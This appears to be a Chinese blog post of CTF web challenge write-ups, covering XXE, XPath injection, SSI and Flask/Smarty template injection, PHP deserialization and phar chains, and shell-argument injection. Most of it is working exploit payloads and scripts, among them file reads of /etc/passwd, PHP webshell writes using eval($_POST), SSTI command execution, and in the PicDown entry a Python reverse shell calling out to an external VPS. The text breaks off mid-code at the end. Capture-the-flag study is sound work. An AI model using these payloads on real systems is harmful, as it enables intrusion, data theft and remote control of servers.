分类 Training 下的文章

[NCTF2019]True XML cookbook

抓包发现XXE,构造payload

<?xml version="1.0" ?>
<!DOCTYPE a[
<!ENTITY name SYSTEM "file:///etc/passwd">]
>
<user><username>&name;</username><password>1</password></user>

通过/etc/host查看内网存活主机:
然后用bp爆破C段:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM  "http://10.34.239.11">
]>
<user>
  <username>&file;</username>
  <password>password</password>
</user>

拿到flag。

[BSidesCF 2019]SVGMagic

SVG是XMl的图片,换句话说SVG文件中能执行XXE

payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

[CSAWQual 2019]Web_Unagi

显然是XML,但是存在过滤,这里用utf-16编码绕过

payload
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>  
        <group>CSAW2019</group>
        <intro>&xxe;</intro>
    </user>
</users>

然后在linux下执行转化命令

iconv -f utf8 -t utf-16 2.xml>1.xml

上传,拿flag,结束。

[GoogleCTF2019 Quals]Bnv

这是个使用本地DTD文件的XXE漏洞。
通常来说要是我们有个能引用外部实体的XXE,自然是想让它请求我们vps上的dtd来操作,但要是防火墙严点就出不去,只能用本地的dtd。

linux自带的dtd文件路径:/usr/share/yelp/dtd/docbookx.dtd

那么引用这个实体,因为所有XML实体都是常量,如果定义两个具有相同名称的实体则仅使用第一个实体。

payload:
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
        <!ENTITY % file SYSTEM "file:///flag">
        <!ENTITY % eval "<!ENTITY % error SYSTEM 'test%file;'>">
        %eval;
        %error;
    '>
    %local_dtd;
]>

参考1,2

[NPUCTF2020]ezlogin

XPATH注入,长见识了
参考里说的很明白了,基本原理就是利用XPATH语法逐节点进行查询
payload(来自penson by 小乌)

import requests
import re

s = requests.session()
url ='http://4ab0514f-3518-44ad-9b5f-f8c60fb0ea92.node3.buuoj.cn/login.php'



head ={
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
    "Content-Type": "application/xml"
}
find =re.compile('<input type="hidden" id="token" value="(.*?)" />')

strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'


flag =''
for i in range(1,100):
    for j in strs:

        r = s.post(url=url)
        token = find.findall(r.text)
        #猜测根节点名称
        payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
        #猜测子节点名称
        payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测accounts的节点
        payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测user节点
        payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #跑用户名和密码
        payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])


        print(payload_username)
        r = s.post(url=url,headers=head,data=payload_username)
        print(r.text)


        if "非法操作" in r.text:
            flag+=j
            print(flag)
            break

    if "用户名或密码错误!" in r.text:
        break

print(flag)

出了后用admin登录,发现可能存在文件包含,利用大小写绕过直接用伪协议读flag即可。

[BJDCTF2020]EasySearch

swp源码泄露,需要md5前6位固定

import hashlib
for i in range(10000000):
    a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
    b = a[0:6]
    if b == '6d0bc1':
        print(i)
        print(a)

然后是SSI注入

SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。
SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。
从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。

payload:

username=<!--#exec cmd="ls ../"-->
password=2020666

[SCTF2019]Flag Shop

Ruby的模板注入,离谱。。。。。。参考链接
在robots.txt中发现提示/filebak,打开获得源码。
利用的注入点:

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end

如果do和name匹配则输出name中的值,存在长度限制,注意到前面有一次对密钥的正则匹配,这里用Ruby的预变量

$': The string to the right of the last successful match.

传入do和name=<%=$\'%>(编码后)

work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working

伪造jwt密钥修改money购买flag即可。

[MRCTF2020]Ezaudit

审计PHP代码发现$Public_key = KVQP0LdJKRaV3n9D,可以借此得到该PHP代码使用的随机数种子,简单处理后直接拿脚本跑(注意PHP版本)。
发现登陆框,直接上万能密码

 1' or 1 = 1#

[GXYCTF2019]StrongestMind

写个脚本进行计算就行了

import re
import requests
from time import sleep

def count():
    s = requests.session()
    url = 'http://c39b6aaa-4d51-4b1d-b777-32741c72ccc8.node3.buuoj.cn/'
    match = re.compile(r"[0-9]+ [+|-] [0-9]+")
    r = s.get(url)
    for i in range(1001):
        sleep(0.1)
        str = match.findall(r.text)[0]
        # print(eval(str))
        data = {"answer" : eval(str)}
        r = s.post(url, data=data)
        r.encoding = "utf-8"
        print('{} : {}'.format(i,eval(str)))
        # print(r.text)
    print(r.text)

if __name__ == '__main__':
    count()

[N1CTF 2018]eating_cms

有外网渗透内味儿了
发现能用伪协议读源码,读一下function.php,发现ffffllllaaaaggg,但存在过滤。
这里利用parse解析的漏洞:

//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

根据得到的信息访问templates/upload.html,发现是个假的。。。。。。
查看upllloadddd.php文件,发现命令执行

$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");

在m4aaannngggeee中上传文件,修改文件名

;cd ..;cat flag_233333;#

bingo!

[安洵杯 2019]easy_serialize_php

前面的略了,主要看最后的键值逃逸。
filter会将非法字符全部替换为空,这意味着可以构造特定的字符串进行逃逸。

payload:
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

在经过

extract($_POST);

处理后变成

"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

右花括号后面的被抛弃,从而实现绕过。

[0CTF 2016]piapiapia

这道题是由于序列化字符串中某些关键字被替换成更长的字符串形成的简直逃逸。
如果

nickname='";}s:5:"photo";s:10:"config.php";}'

便可以控制photo的值,从而获得flag。
这一段字符的长度是34,而每一个where关键字都会被替换为hacker,使序列化字符串整体长度+1,那么如果nickname中有34个where,nickname序列化后的刚好能让有效长度截止到我们想要的位置。
前面对nickname的一层过滤用nickname绕过。
payoad:

nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

[MRCTF2020]Ezpop

经典POP链,先贴一份PHP魔术方法:

__construct   当一个对象创建时被调用,
__toString   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__get()    用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke()   当脚本尝试将对象调用为函数时触发

最后是通过append函数中的include包含flag.php
然后构造pop链:

Show::__toString -> Test::__get -> Modifier::__invoke

payload

<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php' ;

}

class Show{
    public $source;
    public $str;
    public function __construct($file){
    $this->source = $file;
    }
    public function __toString(){
        return "karsa";
    }
}

class Test{
    public $p;
}

$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
?>

[CISCN2019 华北赛区 Day1 Web1]Dropbox

phar反序列化
burp抓包,发现任意文件下载:../../index.php
重点关注class.php
pop链:

User::__destruct() -> Filelist::__call() -> File::close()

payload:

<?php
class User {
    public $db;
}
class File {
    public $filename;
}
class FileList {
    private $files;
    public function __construct() {
        $file = new File();
        $file->filename = "/flag.txt";
        $this->files = array($file);
    }
}

$a = new User();
$a->db = new FileList();
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
//签名自动计算
$phar->stopBuffering();
?>

把生成的文件名改为1.png,
最后删除时把包名改为phar://1.png。

[SWPUCTF 2018]SimplePHP

还是phar反序列化,先找pop链

C1e4r::__destruct -> Show::__toString() -> Test::__get() -> Test::get() -> Test::file_get()

生成相应的phar

<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}
$a=new C1e4r();
$b=new Show();
$c=new Test();
$c->params['source']='/var/www/html/f1ag.php';
$b->str['str']=$c;
$a->str=$b;


$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a);    //将自定义的$a存入meta-data,最后被反序列化
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

最后访问md5后的文件名即可

[GYCTF2020]EasyThinking

现成的POC
session设为32位,key里直接写马。
连上之后用蚁剑直接绕过open_basedir()即可。

[强网杯 2019]Upload

源码显示是tp5框架,
上传的文件会被改为png类型,但修改文件名的过程恰好是我们能利用的,
用户信息被序列化后直接在cookie中传输。
在Register中找到__destruct函数,调用Profile中的upload_img函数即可任意修改文件名。
pop链:

Register::__destruct -> Profile::__call -> Profile::__get -> Profile::upload_img()

payload:

<?php
class Register {
    public $register = false;
    public $check;
}

class Profile {
    public $checker = false;
    public $filename_tmp = "..public/upload/d99081fe929b750e0557f85e6499103f/bd3ffacd4225f8a5c2a658f565614b2a.png";
    public $filename = "..public/upload/d99081fe929b750e0557f85e6499103f/hack.php";
    public $upload_menu;
    public $ext = true;
    public $img;
    public $except = array('index' => 'upload_img');
}
$a=new Register();
$a->checker=new Profile();
$a->checker->checker = 0;
echo base64_encode(serialize($a));
?>

最后蚁剑连上即可。

[GYCTF2020]Easyphp

反序列化逃逸,开局得源码,在lib.php中寻找pop链,

UpdateHelper::__destruct -> User::__toString -> Info::__call -> dbCtrl::login()

最后login中的参数都是可控的,可以返回admin的相关信息。
payload:(来自fmyyy1)

<?php
    class User{
        public $age=null;
        public $nickname=null;
        public function __construct(){
            $this->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
            $this->nickname = new Info();
        }
    }

    class Info{
        public $CtrlCase;
        public function __construct(){
            $this->CtrlCase = new dbCtrl();
        }
    }
    Class UpdateHelper{
        public $sql;
        public function __construct()
        {
            $this->sql = new User();
        }
    }
    class dbCtrl{
        public $name = "admin";
        public $password = "1";
    }

    $o = new UpdateHelper;
    echo serialize($o);

序列化字符串经getNewInfo函数处理,其中存在键值逃逸。

age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

[安洵杯 2019]不是文件上传

有__destruct,接上view_files能直接读文件,关键是如何利用。

<?php
class helper {
        protected $ifview = True; 
        protected $config = "/flag";
}

$a = new helper();
echo bin2hex(serialize($a));

再分析,发现会把传入图片的长宽进行反序列化,长宽不可控,但我们却可以控制文件名filename。
在insert语句中发现可以注入,通过构造特殊的filename可实现对长宽的操作。

payload:
filename="a','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#"

过滤了单引号因此要改为16进制。

[GXYCTF2019]BabysqliV3.0

伪协议读一下源码,发现任意命令执行,但没有unserialize只有文件上传所以。。。
phar反序列化嘛显然。
原理就是phar协议可以不依赖unserialize进行反序列化操作,命令执行的条件就是token和session[\'user\']相等就好了。
先随便传个东西拿到session[\'user\'],然后传phar就好了

payload:
<?php

class Uploader{
    public $Filename;
    public $cmd;
    public $token;
}

$a = new Uploader();
$a->Filename = "test";
$a->token = "GXYeb8a98c788e94834d92995b22bf05f07";
$a->cmd = 'highlight_file("/var/www/html/flag.php");';

echo serialize($a);

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

然后将这个路径带上phar://作为name参数的值,再随意上传一个文件,因为$this->Filename被我们手工指定为phar,触发了phar反序列化导致命令执行。

[EIS 2019]EzPOP

寻找pop链但又有些有趣的新东西。
pop链:

A::__destruct -> A::save -> A::getForStorage -> A::cleanContents
A::save -> B::_set

关键是在cleanContents中的处理,这一部分我们可控,所以可以尝试写马。

base64解码有一个特性,就是会自动忽略不合法的字符

那么json返回的[\"\"]等符号都不会被解析,
所以只要把马用base64编码一下赋给 this->complete就可。
B中的serialize中存在动态函数,将让serialize为base64_decode就可将马还原回去了。
下一个问题就是绕过data中的exit,
同样,我们还是应用base解码时的性质,传入

php://filter/write=convert.base64-decode/resource=

强制把exit给base64了(注意要不全4的倍数个字符),那么它就会被识别为乱码从而不执行。

payload:
<?php
    class A{
        protected $store;
        protected $key;
        protected $expire;

        public function __construct(){
            $this->key = 'shell.php';
            $this->store = new B();
            $this->cache = array();
            $this->autosave = false;
            $this->complete = base64_encode('xxx'.'PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOz8+');
            $this->expire = 0;
        }
    }


    class B{
        public $options;
        public function __construct(){
            $this->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
            $this->options['data_compress'] = false;
            $this->options['serialize'] = 'base64_decode';
        }

    }

    $a = new A();
    echo urlencode(serialize($a));

[SUCTF 2019]Pythonginx

blackhat的议题,大意是IDNA在解析url过程中会对特殊字符产生意想不到的操作(doge),放个链接解释
写个python脚本fuzz一下

def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass

最后读一下配置文件,从中找出flag的位置

url=file://suctf.c%E2%84%82/../../../../..//usr/local/nginx/conf/nginx.conf

[WesternCTF2018]shrine

由源码可知,flag在环境变量里。
config,sef关键字被禁用,用{{url_for.__globals__}}查看,发现current.app
再用{{url_for.__globals__[\'current_app\'].config}}查看详细信息。
再利用flask中的get_flashed_messages

get_flashed_messages() 方法: 返回之前在Flask中通过 flash () 传入的闪现信息列表。 把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages () 方法取出 (闪现信息只能取出一次,取出后闪现信息会被清空)。

最后payload:

/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

[GYCTF2020]FlaskApp

报错时能看到一部分源码

@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)

直接ssti发现有过滤,尝试读一波源码

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

找到waf函数部分

def waf(str):
    black_list = ["flag","os","system","popen","import","eval","chr","request",
                  "subprocess","commands","socket","hex","base64","*","?"]
    for x in black_list :
        if x in str.lower() :
            return 1

对于字符串的过滤可以用拼接绕过

{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

[CSCCTF 2019 Qual]FlaskLight

简单的ssti注入,这里多放几个payload:

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

[网鼎杯 2020 白虎组]PicDown

存在任意文件读取,这里用proc查看相关信息:

Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。
/proc/self/cmdline  当前进程的完整命令
/proc/self/cwd      获取目标指定进程环境的运行目录
/proc/self/exe      获得指定进程的可执行文件的完整路径
/proc/self/eviron   取指定进程的环境变量信息
/proc/self/fd       包含着当前进程打开的每一个文件的描述符

查看/proc/self/cmdline发现app.py,
没有密钥,通过爆破fd后的pid来搜索文件。
最后的payload:

/no_one_know_the_manager?key=9zcrKJMWxk7NVdVhdrrtOq3a3ZyMeNFRstZdE0jjsqw=&sehll=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

在vps上监听端口即可。

[RootersCTF2019]I_<3_Flask

Arjun爆一波参数先,然后直接用tplmap跑就完了。

python2 tplmap.py -u 'url/?name=1' --os-shell

[CISCN2019 华东南赛区]Double Secret

报错带出源码,传进去的字符串要经过RC4解密,写个对应的RC4加密即可:
payload:

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))  
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    print("加密后的字符串是:%s" %quote(cipher))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")

[DDCTF 2019]homebrew event loop

挺有意思的逻辑漏洞
买入和扣钱不是在同一个函数中,调用函数入队和调用函数执行也不在一个函数中,于是就可以多次用trigger_event调用自己实现多次调用buy_handler函数,并把扣钱的操作留到最后。

payload:
?action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23

这时的flag已经在session中了。接下来用p师傅的脚本进行解密即可

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

PyCalX 1&2

源码中的问题:

1.op中只检查了第一个字符,意味着第二个是没有限制的。
2.除表达式中的三个变量之外,source也是可控的。
3.value1,,value2最后是使用repr处理的,repr相当于php中的双引号,是可以进行解析的。

所以这个题就可以采用类似盲注的方法把FLAG中的内容跑出来。
2中将op中的字符全部检查了,无法用单引号进行闭合,但可以利用python3.6的新特性f-string,简言之就是可以在字符串中方便地直接插入表达式,以f 开头,表达式插在大括号{} 里,在运行时表达式会被计算并替换成对应的值。

payload:
import requests
import time

url = 'http://e06e24de-4615-4d33-b982-ee1ca90bfee5.node3.buuoj.cn/cgi-bin/pycalx.py'
flag = 'flag{'
while True:
    high = 127
    low = 1
    mid = (high + low) // 2
    while high > low:
        tmp = flag + chr(mid)
        data = {
            'value1': 'a',
            'op': '+\'',
            'value2': 'and FLAG>source#',
            'source': tmp
        }
        data2 = {
            'value1': 'Tru',
            'op': '+f',
            'value2': '{101 if FLAG>source else 102:c}',
            'source': tmp
        }
        r = requests.get(url, data)
        print(chr(mid), end="")
        if r.status_code == 200:
            if 'True' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (high + low) // 2
        else:
            time.sleep(1)
    flag += chr(mid-1)
    print(" | flag="+flag)
    if "}" in flag:
        break
print("flag="+flag)

[BSidesCF 2020]Had a bad day

php伪协议嵌套一些无关的字符不影响文件的读取

payload:
php://filter/read=convert.base64-encode/woofers/resource=index

[CISCN 2019 初赛]Love Math

可利用的函数

base_convert():在任意进制之间转换数字。
hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。
dechex() 函数把十进制数转换为十六进制数。

想要执行的命令:

?c=system("cat /flag")

php支持用变量代替函数:

?c=($_GET[a])($_GET[b])&a=system&b=cat /flag

其中[]可以用{}代替,_GET可用按一下思路构造

_GET => 10进制ascii(用hex2bin) => 16进制ascii(用dechex)
用base_convert构造hex2bin => hex2bin=base_convert(37907361743,10,36)

最后的payload:

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag

[CISCN2019 华东南赛区]Web11

Smarty模板注入
smarty中if标签可以执行php语句
payload:

{if readfile('/flag')}{/if}

[WUSTCTF2020]朴实无华

第一个绕过

intval()处理字符串时会将第一个非数字前面的当做一个数字处理,
构造$num='1e10',在进行+操作时会被转成整数型进行运算,从而实现绕过。

第二个绕过
md5值与自身相等即可,放一个别人的脚本

def run():
    i = 0
    while True:
        text = '0e{}'.format(i)
        m = md5(text)
        print(text,m)
        if m[0:2] == '0e' :
            if m[2:].isdigit():
                print('find it:',text,":",m)
                break
        i +=1

run()

第三个绕过

ca\t%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

得到flag。

[网鼎杯 2020 朱雀组]Nmap

先放上参考
利用escapeshellarg()+escapeshellcmd()造成的绕过

传入的参数是:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

最后的payload:

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

[NPUCTF2020]ReadlezPHP

动态函数的反序列化
直接上payload:

payload:?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

phpinfo中find一个flag就好

[GWCTF 2019]枯燥的抽奖

mt_rand伪随机数,首先生成脚本能识别的序列。

str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='L5w6HSyn3X'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)

生成好的东西扔php_mt_seed里跑
再把生成的种子扔脚本里跑

<?php
mt_srand(819101489);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
?>

生成的序列填入,获得flag。

[MRCTF2020]套娃

php在解析url的时候会将某些字符解析成下划线,正则匹配可以用%0a截断。payload

?b%20u%20p%20t=23333%0a

修改http头进入文件,发现jsfuck,解码得知要post一个参数。
换个http头,用伪协议绕过if

?2333=data:text/plain,todat is a happy day&file=flag.php

还需要将flag.php进行解密后再传入。

<?php
function unchange($v){
    $re = '';
    for($i=0;$i<strlen($v);$i++){
        $re .= chr ( ord ($v[$i]) - $i*2 );
    }
    return $re;
}
$real_flag = unchange('flag.php');
echo base64_encode($real_flag);
?>

最后的payload:

?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=

http头
Client-ip : 127.0.0.1

[FBCTF2019]RCEService

不知道源码哪来的,但它确实有源码。
cat不能直接用,要用/bin/cat
preg_match只能匹配一行,可以采用多行绕过。
payload:

{%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

或者利用PCRE的最大回溯次数来绕过
放一个p神的文章
payload2:

import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag ","nayi":"' + "a"*(1000000) + '"}'
res = requests.post("url", data={"cmd":payload})
print(res.text)

[Zer0pts2020]Can you guess it?

利用的basename会自动去除非ascii字符造成的绕过。
Fuzz一下先:

import requests
import re
for i in range(0,255):
    url ='xxxxx.node3.buuoj.cn/index.php/config.php/{}?source'.format(chr(i))
    print(url)
    r = requests.get(url)
    flag = re.findall("flag\{.*?\}", r.text)
    if flag:
        print(flag)
        break

payload:

/index.php/config.php/%ff?source

[HarekazeCTF2019]encode_and_encode

伪协议没过滤filter,flag可以用Unicode编码绕过,
显示数据的时候用base64绕过。
payload:

{"page":"\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067"}

[BJDCTF2020]EzPHP

这个题是真tmd烦

第一层,因为直接解析url中的内容,所以可以直接用urlencode绕过。
第二层,preg_match在末尾没有s的时候会自动忽略%0a,这里可以加一个%0a绕过。
第三层,在REQUEST中,如果POST和GET传入同一个变量,POST的优先级会高于GET,因此可以POST传入纯数字来覆盖GET,注意这里还有把COOKIE给去掉。
第四层,文件内容比较直接用data协议绕过。
第五层,绕过sha1,类似md5可以用数组绕过。

然后是动态函数的构造

$code('', $arg);
等价于
$code(){
    $arg;
}

这里可以通过手动闭合大括号达成任意命令执行的目的。

function feng(){
